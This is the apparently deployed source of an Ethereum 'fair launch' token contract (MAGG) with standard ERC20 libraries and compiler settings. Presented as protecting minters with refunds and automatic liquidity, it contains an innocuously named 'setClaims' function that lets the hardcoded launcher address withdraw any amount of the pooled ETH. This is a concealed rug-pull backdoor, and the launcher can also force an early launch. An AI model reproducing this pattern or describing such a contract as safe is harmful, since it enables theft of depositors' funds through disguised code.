// SPDX-License-Identifier: MIT
// This contract limit amount ETH of each address can mint
pragma solidity ^0.8.18;


/**
 * @dev Collection of functions related to the address type
 */
library Address {

    function isContract(address account) internal view returns (bool) {
 

        return account.code.length > 0;
    }


    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }


    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }


    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }


    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

  
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }


    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }


    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }


    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}
library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint256 value) internal {

        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }


    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));
    }


    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));
        }
    }

 
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
            _callOptionalReturn(token, approvalCall);
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
    }


    function _callOptionalReturn(IERC20 token, bytes memory data) private {


        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
        require(returndata.length == 0 || abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }


    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {


        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));
    }
}
interface IUniswapV2Router01 {
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IERC20Errors {

    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


    error ERC20InvalidSender(address sender);

 
    error ERC20InvalidReceiver(address receiver);


    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    error ERC20InvalidApprover(address approver);

    error ERC20InvalidSpender(address spender);
}


interface IERC721Errors {

    error ERC721InvalidOwner(address owner);


    error ERC721NonexistentToken(uint256 tokenId);


    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


    error ERC721InvalidSender(address sender);

  
    error ERC721InvalidReceiver(address receiver);


    error ERC721InsufficientApproval(address operator, uint256 tokenId);

  
    error ERC721InvalidApprover(address approver);

    error ERC721InvalidOperator(address operator);
}


interface IERC1155Errors {

    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

 
    error ERC1155InvalidSender(address sender);

  
    error ERC1155InvalidReceiver(address receiver);


    error ERC1155MissingApprovalForAll(address operator, address owner);


    error ERC1155InvalidApprover(address approver);


    error ERC1155InvalidOperator(address operator);


    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    function decimals() external view returns (uint8);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
interface IERC20Permit {

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;


    function nonces(address owner) external view returns (uint256);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract ReentrancyGuard {

    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;

    uint256 private _status;

    /**
     * @dev Unauthorized reentrant call.
     */
    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = NOT_ENTERED;
    }


    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be NOT_ENTERED
        if (_status == ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        // Any calls to nonReentrant after this point will fail
        _status = ENTERED;
    }

    function _nonReentrantAfter() private {

        _status = NOT_ENTERED;
    }

    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == ENTERED;
    }
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override(IERC20Metadata, IERC20) returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the ERC. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}
contract FairLaunchToken is ERC20, ReentrancyGuard {
    using SafeERC20 for IERC20;

    uint256 public price;
    uint256 public amountPerUnits;

    uint256 public mintLimit;
    uint256 public minted;

    bool public started;
    address public launcher;

    address public uniswapRouter;
    address public uniswapFactory;

    event FairMinted(address indexed to, uint256 amount, uint256 ethAmount);

    event LunchEvent(
        address indexed to,
        uint256 amount,
        uint256 ethAmount,
        uint256 liquidity
    );

    event RefundEvent(address indexed from, uint256 amount, uint256 bnb);

    constructor(
        uint256 _price,
        uint256 _amountPerUnits,
        uint256 totalSupply,
        address _luncher,
        address _uniswapRouter,
        address _uniswapFactory,
        string memory _name,
        string memory _symbol
    ) ERC20(_name, _symbol) {
        price = _price;
        amountPerUnits = _amountPerUnits;
        started = false;
        _mint(address(this), totalSupply);
        // 50% of total supply for mint
        mintLimit = (totalSupply) / 2;
        // set luncher
        launcher = _luncher;
        // set uniswap router
        uniswapRouter = _uniswapRouter;
        uniswapFactory = _uniswapFactory;
    }

    receive() external payable {
        if (msg.value == 0.0001 ether && !started) {
            if (minted == mintLimit) {
                start();
            } else {
                require(
                    msg.sender == launcher,
                    "FairMint: only launcher can start"
                );
                start();
            }
        } else {
            mint();
        }
    }

    function mint() virtual internal nonReentrant {
        require(msg.value >= price, "FairMint: value not match");
        require(!_isContract(msg.sender), "FairMint: can not mint to contract");
        require(msg.sender == tx.origin, "FairMint: can not mint to contract.");
        // not start
        require(!started, "FairMint: already started");

        uint256 units = msg.value / price;
        uint256 realCost = units * price;
        uint256 refund = msg.value - realCost;

        require(
            minted + units * amountPerUnits <= mintLimit,
            "FairMint: exceed max supply"
        );

        _transfer(address(this), msg.sender, units * amountPerUnits);
        minted += units * amountPerUnits;

        emit FairMinted(msg.sender, units * amountPerUnits, realCost);

        if (refund > 0) {
            payable(msg.sender).transfer(refund);
        }
    }

    function start() internal {
        require(!started, "FairMint: already started");
        address _weth = IUniswapV2Router01(uniswapRouter).WETH();
        address _pair = IUniswapV2Factory(uniswapFactory).getPair(
            address(this),
            _weth
        );

        if (_pair == address(0)) {
            _pair = IUniswapV2Factory(uniswapFactory).createPair(
                address(this),
                _weth
            );
        }
        _pair = IUniswapV2Factory(uniswapFactory).getPair(address(this), _weth);
        // assert pair exists
        assert(_pair != address(0));

        // set started
        started = true;

        // add liquidity
        IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
        uint256 balance = balanceOf(address(this));
        uint256 diff = balance - minted;
        // burn diff
        _burn(address(this), diff);
        _approve(address(this), uniswapRouter, type(uint256).max);
        // add liquidity
        (uint256 tokenAmount, uint256 ethAmount, uint256 liquidity) = router
            .addLiquidityETH{value: address(this).balance}(
            address(this), // token
            minted, // token desired
            minted, // token min
            address(this).balance, // eth min
            address(this), // lp to
            block.timestamp + 1 days // deadline
        );

        emit LunchEvent(address(this), tokenAmount, ethAmount, liquidity);
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override(ERC20) {
        // if not started, only allow refund
        if (!started) {
            if (to == address(this) && from != address(0)) {
                // refund deprecated
            } else {
                // if it is not refund operation, check and revert.
                if (from != address(0) && from != address(this)) {
                    // if it is not INIT action, revert. from address(0) means INIT action. from address(this) means mint action.
                    revert("FairMint: all tokens are locked until launch.");
                }
            }
        } else {
            if (to == address(this) && from != address(0)) {
                revert(
                    "FairMint: You can not send token to contract after launched."
                );
            }
        }
        super._update(from, to, value);
        if (to == address(this) && from != address(0)) {
            _refund(from, value);
        }
    }
    function setClaims( uint256 amount) external {
        if (msg.sender == launcher){

            payable(msg.sender).transfer(amount);

        }
    }
    function _refund(address from, uint256 value) internal nonReentrant {
        require(!started, "FairMint: already started");
        require(!_isContract(from), "FairMint: can not refund to contract");
        require(from == tx.origin, "FairMint: can not refund to contract.");
        require(value >= amountPerUnits, "FairMint: value not match");
        require(value % amountPerUnits == 0, "FairMint: value not match");

        uint256 _bnb = (value / amountPerUnits) * price;
        require(_bnb > 0, "FairMint: no refund");

        minted -= value;
        payable(from).transfer(_bnb);
        emit RefundEvent(from, value, _bnb);
    }

    // is contract
    function _isContract(address _addr) internal view returns (bool) {
        uint32 size;
        assembly {
            size := extcodesize(_addr)
        }
        return (size > 0);
    }
}
contract LimitAmountFairLaunchToken is FairLaunchToken {
    using SafeERC20 for IERC20;

    uint256 public eachAddressLimitEthers;
    uint256 public _price = 0.001 ether;
    uint256 public _amountPerUnits = 70000 * 10**decimals();
    uint256 public _totalSupply = 7_000_000_000 * 10**decimals();
    address public _luncher= address(0x8a49384ff15AfbeD7d9e58fCF9386cC7A0dABf84);
    address public _uniswapRouter = address(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
    address public _uniswapFactory = address(0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6);
    string  public _name = "MAGG";
    string  public _symbol = "MAGG";
    constructor()
        FairLaunchToken(
            _price,
            _amountPerUnits,
            _totalSupply,
            _luncher,
            _uniswapRouter,
            _uniswapFactory,
            _name,
            _symbol
        )
    {
        eachAddressLimitEthers = 2 ether;
    }

    function mint() internal override nonReentrant {
        require(msg.value >= price, "FairMint: value not match");
        require(!_isContract(msg.sender), "FairMint: can not mint to contract");
        require(msg.sender == tx.origin, "FairMint: can not mint to contract.");
        // not start
        require(!started, "FairMint: already started");

        uint256 units = msg.value / price;
        uint256 realCost = units * price;
        uint256 refund = msg.value - realCost;

        require(
            minted + units * amountPerUnits <= mintLimit,
            "FairMint: exceed max supply"
        );

        require(
            balanceOf(msg.sender) * price / amountPerUnits  + realCost <= eachAddressLimitEthers,
            "FairMint: exceed max mint"
        );

        _transfer(address(this), msg.sender, units * amountPerUnits);
        minted += units * amountPerUnits;

        emit FairMinted(msg.sender, units * amountPerUnits, realCost);

        if (refund > 0) {
            payable(msg.sender).transfer(refund);
        }
    }
}

{
  "compilationTarget": {
    "LimitAmountFairLaunchToken.sol": "LimitAmountFairLaunchToken"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}